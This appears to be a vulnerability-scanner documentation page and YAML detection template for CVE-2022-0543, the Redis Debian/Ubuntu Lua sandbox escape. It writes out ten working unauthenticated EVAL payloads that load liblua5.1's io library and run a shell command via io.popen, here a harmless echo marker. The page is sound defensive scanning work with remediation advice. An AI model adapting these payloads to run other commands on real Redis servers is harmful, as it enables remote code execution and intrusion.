Redis — 1 vulnerability check
noctis ships 1 vulnerability check for Redis, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Redis Debian Lua Sandbox Escape RCE
| CVE | CVE-2022-0543 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | redis |
| Detection | script, tcp_dialogue, match · highest QoD 97 |
| Feed | tests/vulnerabilities/redis/CVE-2022-0543.yaml |
Detects CVE-2022-0543 by sending unauthenticated EVAL scripts that load the system liblua5.1 `luaopen_io` through package.loadlib() and run an inert `echo` via io.popen(), confirming the per-run marker produced by the shell comes back in the EVAL reply — proving code execution on Debian/Ubuntu Redis.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- TCP dialogue:
eval 'local io_l = package.loadlib("/us…,eval 'local io_l = package.loadlib("/us…,eval 'local io_l = package.loadlib("/us…,eval 'local io_l = package.loadlib("/us…(+6 more) - Checks
redis.transcriptforNOCTIS[0-9a-f]{32}→ finding QoD 97: Redis Debian Lua sandbox escape RCE (CVE-2022-0543)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0543
- https://bugs.debian.org/1005787
- https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2022/CVE-2022-0543.yaml
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb
Feed source — tests/vulnerabilities/redis/CVE-2022-0543.yaml
# Redis Debian/Ubuntu Lua sandbox escape RCE — CVE-2022-0543
#
# Debian and Ubuntu build redis-server against the system liblua5.1 and, due to a
# packaging issue, leave the Lua `package` table reachable from EVAL scripts. An
# unauthenticated client can therefore call package.loadlib() on the system
# liblua5.1.so.0, load `luaopen_io`, and run shell commands via io.popen().
# Upstream Redis builds (bundled Lua, no `package`) are not affected.
#
# Ported from OpenVAS/Greenbone NVT 2022/redis/gb_redis_CVE-2022-0543_active.nasl
# (OID 1.3.6.1.4.1.25623.1.0.148029, GPL-2.0-only): same EVAL payload, sent once
# per Debian multiarch liblua5.1 path (the 10 paths from the NASL), over one
# inline-protocol connection.
#
# Detection method (real exploitation, benign proof — command-substitution collapse):
# A `script` step mints a per-run token `tok = rand_hex(16)` and
# `marker = "NOCTIS" + tok`. The popen'ed command is the inert
# echo NOCTIS$()<tok>
# A real shell collapses the empty `$()` and prints the contiguous marker, which
# EVAL returns as a bulk reply. The finding requires the contiguous per-run marker
# (`stridx(...) >= 0`) AND the `NOCTIS[0-9a-f]{32}` shape, so a reflected payload
# (the `$()` intact) or a constant string cannot match. QoD 97.
# Deviation from the NASL: `echo` marker instead of `id`/`ipconfig` (benign proof).
#
# A sandboxed Redis answers every EVAL with "-ERR ... 'package' (a nil value)" /
# "nonexistent global variable 'package'"; a password-protected one answers
# "-NOAUTH ..." — neither contains the marker (only unauthenticated Redis is in
# scope, as in the NASL).
#
# Cyber-safety: the only command executed is `echo`; no file, persistence or
# network side effect. Intrusive (code execution on the target) → category rce.
uid: 8ef21ea1-d284-4857-afce-1363c216cc80
name: "Redis Debian Lua Sandbox Escape RCE (CVE-2022-0543)"
description: |
Detects CVE-2022-0543 by sending unauthenticated EVAL scripts that load the
system liblua5.1 `luaopen_io` through package.loadlib() and run an inert
`echo` via io.popen(), confirming the per-run marker produced by the shell
comes back in the EVAL reply — proving code execution on Debian/Ubuntu Redis.
cves: [CVE-2022-0543]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.25
tags: [redis, lua, sandbox-escape, debian, ubuntu, rce, kev, unauthenticated, intrusive]
services: [redis]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-0543"
- "https://bugs.debian.org/1005787"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2022/CVE-2022-0543.yaml"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb"
steps:
# Per-run token. rand_hex(16) => 32 lowercase hex chars.
- id: mint-token
action: script
code: 'rand_hex(16)'
store_as: tok
- id: build-marker
action: script
code: '"NOCTIS" + tok'
store_as: marker
# One EVAL per Debian/Ubuntu multiarch liblua5.1 path (list from the NASL).
# The wrong-arch paths just fail with a Lua error; the right one runs the echo.
- id: lua-escape
action: tcp_dialogue
port: "{{port}}"
read_banner: false
timeout_secs: 10
commands:
- eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
- eval 'local io_l = package.loadlib("/usr/lib/aarch64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
- eval 'local io_l = package.loadlib("/usr/lib/arm-linux-gnueabi/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
- eval 'local io_l = package.loadlib("/usr/lib/arm-linux-gnueabihf/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
- eval 'local io_l = package.loadlib("/usr/lib/i386-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
- eval 'local io_l = package.loadlib("/usr/lib/mips-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
- eval 'local io_l = package.loadlib("/usr/lib/mips64el-linux-gnuabi64/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
- eval 'local io_l = package.loadlib("/usr/lib/mipsel-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
- eval 'local io_l = package.loadlib("/usr/lib/powerpc64le-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
- eval 'local io_l = package.loadlib("/usr/lib/s390x-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo NOCTIS$(){{tok}}", "r"); local res = f:read("*a"); f:close(); return res' 0
store_as: redis
- id: detect
action: match
source: redis.transcript
pattern: "NOCTIS[0-9a-f]{32}"
condition: "redis.connected == true && stridx(redis.transcript, marker) >= 0"
on_match:
finding:
title: "Redis Debian Lua sandbox escape RCE (CVE-2022-0543)"
description: "An unauthenticated EVAL loaded liblua5.1 luaopen_io via package.loadlib() and executed a shell command through io.popen(); the shell-produced per-run marker was returned."
remediation: "Upgrade redis to a fixed Debian/Ubuntu package (e.g. 5:5.0.14-1+deb10u2, 5:6.0.16-1+deb11u2), require authentication (requirepass/ACLs) and do not expose Redis to untrusted networks."
confidence_delta: 0.72
qod: 97
evidence: "EVAL package.loadlib(liblua5.1, luaopen_io) + io.popen(echo) returned the per-run marker {{marker}} — code execution confirmed. Replies: {{redis.transcript}}"
stop: true